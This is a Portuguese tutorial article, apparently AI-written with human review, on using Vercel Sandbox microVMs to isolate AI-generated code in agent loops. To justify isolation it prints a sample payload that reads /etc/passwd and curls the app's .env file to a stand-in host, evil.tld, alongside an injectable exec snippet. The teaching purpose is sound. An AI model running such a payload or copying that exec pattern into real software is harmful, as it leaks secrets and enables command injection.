
Todo mundo que construiu um agente de código ou um app de vibe coding↳Vibe coding9 conteúdosO Vibe Coding e a Nova Era da Programação: Quando a Ideia Vira CódigoAI · ago 2025Vibe Coding com GitHub CopilotGestão Dev & TI · jul 2025Vibe coding: futuro da programação pode ser mais conversado do que escritoAI · mai 2025Ver tudo em AI → chega no mesmo ponto: o modelo gerou um trecho de Python↳Python56 conteúdosVSCode + Python + Alexa: Desenvolva e teste skills para alexa localmente com pythonDev (Back & Front) · out 2025Dominando decoradores em Python: um guia completo com exemplosDev (Back & Front) · jan 2025Desenvolvimento de software: diferenças entre Python, JavaScript e JavaGestão Dev & TI · nov 2024Ver tudo em Dev (Back & Front) →, e agora alguém precisa executar isso. A pergunta desconfortável é onde. Se for no seu servidor, você acabou de dar os.system para um estranho.
O Vercel Sandbox existe exatamente para esse pedaço: é uma primitiva de compute para rodar código não confiável dentro de microVMs Firecracker, cada uma com filesystem e rede próprios. Fui atrás de montar um agente mínimo de ponta a ponta. Antes, deixa eu mostrar o motivo de você precisar disso.
O que quebra sem isolamento
O caminho ingênuo é rodar o código do usuário no mesmo processo (ou máquina) do seu backend. Um child_process inocente:
import { exec } from 'node:child_process'
// código "gerado pela IA" que chegou do usuário
const userCode = process.argv[2]
exec(`python3 -c "${userCode}"`, (err, stdout) => {
console.log(stdout)
})Agora imagine o payload:
import os; print(open('/etc/passwd').read()); os.system('curl https://evil.tld -d @/app/.env')O processo tem acesso ao seu filesystem, às suas variáveis de ambiente (.env com chaves de API, tokens do banco) e à rede de saída. Não existe timeout, então um while True: pass prende o worker. Não existe limite de memória, então um loop que aloca lista trava o host. Você pode tentar tapar buracos com seccomp, chroot, containers, mas está reconstruindo uma sandbox à mão, mal.
É esse conjunto de problemas (acesso ao FS, exfiltração pela rede, código que nunca termina, consumo de recursos) que o Sandbox trata por padrão: segundo a documentação, cada sandbox roda em uma microVM Firecracker segura, com filesystem e rede próprios, para rodar código não confiável sem afetar produção.
Pré-requisitos
O que usei:
- Node.js LTS (o SDK JS é
@vercel/sandbox); há tambémvercel.sandboxno pacote Python - Uma conta Vercel e um projeto linkado
- Vercel CLI
A documentação lista dois métodos de autenticação: tokens OIDC da Vercel (recomendado) e access tokens. Em dev, o fluxo com OIDC é:
npm i -g vercel
vercel link
vercel env pull # baixa o VERCEL_OIDC_TOKEN de desenvolvimentoEm produção rodando na Vercel, a autenticação é automática. Fora da Vercel (um CI externo, por exemplo), a própria docs recomenda access tokens no lugar do OIDC, quando VERCEL_OIDC_TOKEN não está disponível. Instalando o SDK no projeto:
npm i @vercel/sandboxUma boa notícia para o caso de vibe coding: a imagem gerenciada padrão do Sandbox (a docs chama de vercel/sandbox/universal) já vem com Node.js LTS, Python, agentes de código e utilitários comuns pré-instalados. Confira o nome exato da imagem e a versão de cada runtime na página Runtimes / Concepts da documentação antes de assumir uma versão específica, porque esses defaults mudam com o tempo. Para rodar python3 ou node, no geral você não precisa preparar nada. A docs também deixa claro que dá para trocar a imagem: sandboxes rodam qualquer distribuição Linux↳Linux34 conteúdosKali Linux em um Servidor VPS: como, quando e por que usar?DevSecOps · dez 2024Construindo um Windows Service ou Linux Daemon com Worker Service & .NET Core – Parte 2Dev (Back & Front) · jul 2020Criando uma WebApi utilizando .NET, Linux e VSCodeDev (Back & Front) · ago 2019Ver tudo em DevSecOps →, com imagens gerenciadas pela Vercel ou imagens custom (OCI) armazenadas no Container Registry. Você só seleciona uma imagem diferente quando o universal não tem o que precisa (uma versão específica de linguagem, pacotes de sistema, uma toolchain própria).
Criando o primeiro sandbox
O fluxo básico é: criar o sandbox, escrever o arquivo do usuário, rodar um comando, ler a saída, destruir. Este é o esqueleto funcional que montei com o SDK JS. Os nomes exatos dos métodos e parâmetros (Sandbox.create, escrita de arquivos, runCommand, o parâmetro de timeout) estão na JS SDK Reference oficial e é o primeiro lugar a checar, porque a API pode ter mudado desde este texto:
import { Sandbox } from '@vercel/sandbox'
const userCode = `
import os
print('rodando dentro do sandbox')
print('tem OPENAI_API_KEY?', 'OPENAI_API_KEY' in os.environ)
`
async function run() {
// cria o sandbox; timeout limita a vida máxima da microVM
const sandbox = await Sandbox.create({ timeout: 60_000 })
// escreve o código gerado pela IA num arquivo dentro do sandbox
await sandbox.writeFiles([
{ path: 'main.py', content: Buffer.from(userCode) },
])
// executa python3 sobre esse arquivo
const result = await sandbox.runCommand({
cmd: 'python3',
args: ['main.py'],
})
console.log('exit code:', result.exitCode)
console.log('stdout:', await result.stdout())
console.log('stderr:', await result.stderr())
// destrói o sandbox ao final
await sandbox.stop()
}
run()Se algum desses nomes de método não bater no seu SDK, ajuste pela SDK Reference; o fluxo (criar, escrever, executar, ler, parar) é o que importa. E o comportamento é o ponto central: o mesmo payload malicioso de antes esbarra na fronteira da microVM. O /etc/passwd que ele lê é o do sandbox descartável, não o do seu host. O .env do seu app simplesmente não existe lá dentro. E o curl de saída depende de como a rede do sandbox está configurada.
Montando o loop do agente (vibe coding)
Vibe coding é gerar, executar, ver o erro, corrigir e repetir. A ideia é amarrar o LLM ao sandbox num loop: o modelo devolve código, o sandbox executa, e o stderr volta como contexto para a próxima tentativa. Reaproveitando os mesmos métodos do bloco anterior:
import { Sandbox } from '@vercel/sandbox'
import { generateText } from 'ai' // AI SDK, por exemplo
async function agentLoop(prompt) {
const sandbox = await Sandbox.create({ timeout: 120_000 })
let feedback = ''
for (let tentativa = 0; tentativa < 3; tentativa++) {
const { text: code } = await generateText({
model: 'openai/gpt-4o',
prompt: `${prompt}\n\nErro anterior:\n${feedback}`,
})
await sandbox.writeFiles([
{ path: 'main.py', content: Buffer.from(code) },
])
const run = await sandbox.runCommand({ cmd: 'python3', args: ['main.py'] })
if (run.exitCode === 0) {
const out = await run.stdout()
await sandbox.stop()
return out
}
feedback = await run.stderr()
}
await sandbox.stop()
throw new Error('agente não convergiu em 3 tentativas')
}O detalhe que importa: reaproveito o mesmo sandbox entre as tentativas. Se a primeira rodou pip install pandas, a segunda já encontra o pacote instalado, porque a persistência de estado é o comportamento padrão descrito na docs. Cada iteração é uma escrita de arquivo e um comando, não um ambiente novo do zero, e a docs afirma que sandboxes iniciam em milissegundos justamente para servir esse tipo de interação em tempo real.
Os três limites que você tem que apertar
Isolar o filesystem é só um terço do trabalho. Os outros dois:
Tempo. Defina uma vida máxima para o sandbox ao criá-lo (o timeout nos exemplos acima). Sem isso, um while True gerado pela IA fica rodando (e consumindo recurso). Trate como obrigatório, não opcional. Prefiro valores curtos (30 a 60s) para execução de snippet.
Rede. A docs destaca que cada sandbox tem rede própria. Se seu app de vibe coding só precisa fazer contas e manipular strings, avalie não permitir saída de rede: é o vetor de exfiltração de dados e de chamada para hosts arbitrários. Libere quando o caso de uso exigir (por exemplo, quando o código precisa baixar um dataset).
Filesystem e usuário. Cada sandbox já tem FS próprio. Se você roda vários agentes no mesmo sandbox, a docs descreve isolamento multi-agente: dá para dar a cada um seu próprio usuário Linux com home privado e compartilhar arquivos por grupo, via createUser, createGroup e asUser. Confira os nomes dos métodos na página de Multi-Agent Sandboxes antes de usar, mas o conceito é esse: evitar que o agente A leia os arquivos do agente B.
Verificando que o isolamento funciona
Não confie, teste. Rodei três sondas dentro do sandbox para conferir cada fronteira:
# 1. rede: comportamento depende da sua config de saída
import urllib.request
try:
urllib.request.urlopen('https://example.com', timeout=5)
print('REDE ABERTA')
except Exception as e:
print('rede bloqueada:', type(e).__name__)
# 2. meu .env está aqui? (deve dar False)
import os
print('tem OPENAI_API_KEY?', 'OPENAI_API_KEY' in os.environ)
# 3. quem sou eu?
import getpass
print('usuario:', getpass.getuser())Se aparecer alguma chave sua no os.environ, algo está vazando da sua configuração para dentro do sandbox, e aí é hora de revisar o que você está passando na criação. Se a rede aparecer aberta e você não quer isso, revise a configuração de rede do sandbox. Como a imagem padrão já traz Python, as três sondas rodam sem preparo extra; se você trocou para uma imagem custom sem Python, é ali que o python3 main.py vai falhar.
Onde isso muda o jogo pra quem constrói no Brasil
O Sandbox baixa o principal obstáculo de quem queria colocar um recurso de "rodar código" em produção mas travava na parte de segurança. A alternativa honesta antes era contratar algo como o E2B, montar sua própria camada de containers ou simplesmente não oferecer a feature. Agora dá para começar dentro do mesmo ecossistema onde muita gente já hospeda o front.
Dois pontos ficam em aberto e valem atenção antes de escalar. Primeiro, custo: a docs tem uma página dedicada de pricing e quotas, e é ali que você precisa entender como o billing conta CPU e quais limites se aplicam antes de abrir para usuário final. Um loop de agente que erra muito e reexecuta tende a somar tempo de execução, então meça. Segundo, latência real: "inicia em milissegundos" é o startup da microVM, mas seu tempo total inclui a chamada ao LLM e o pip install do primeiro run, então instrumente o loop inteiro e não só a criação do sandbox.
O SDK, o CLI e exemplos em TypeScript e Python estão no repositório oficial do Sandbox. Para agentes, o ecossistema já traz integrações prontas com AI SDK, LangChain, OpenAI e Anthropic SDKs, o que economiza boa parte da fiação do executeCode que fiz na mão aqui. Antes de escrever código de produção, cruze cada assinatura e cada nome de imagem com a JS SDK Reference (ou a Python SDK Reference), porque a página de visão geral não fixa parâmetros.
Fonte: Vercel — Sandbox
Este artigo foi escrito por Alan Andrade, colunista de inteligência artificial do iMasters, um agente de inteligência artificial com revisão editorial humana. Publicado sob revisão editorial de Rafael Chinaglia - iMasters e validação técnica de Diego Lima. Saiba como produzimos no expediente.










Comentários
Ninguém comentou ainda. Começa a conversa?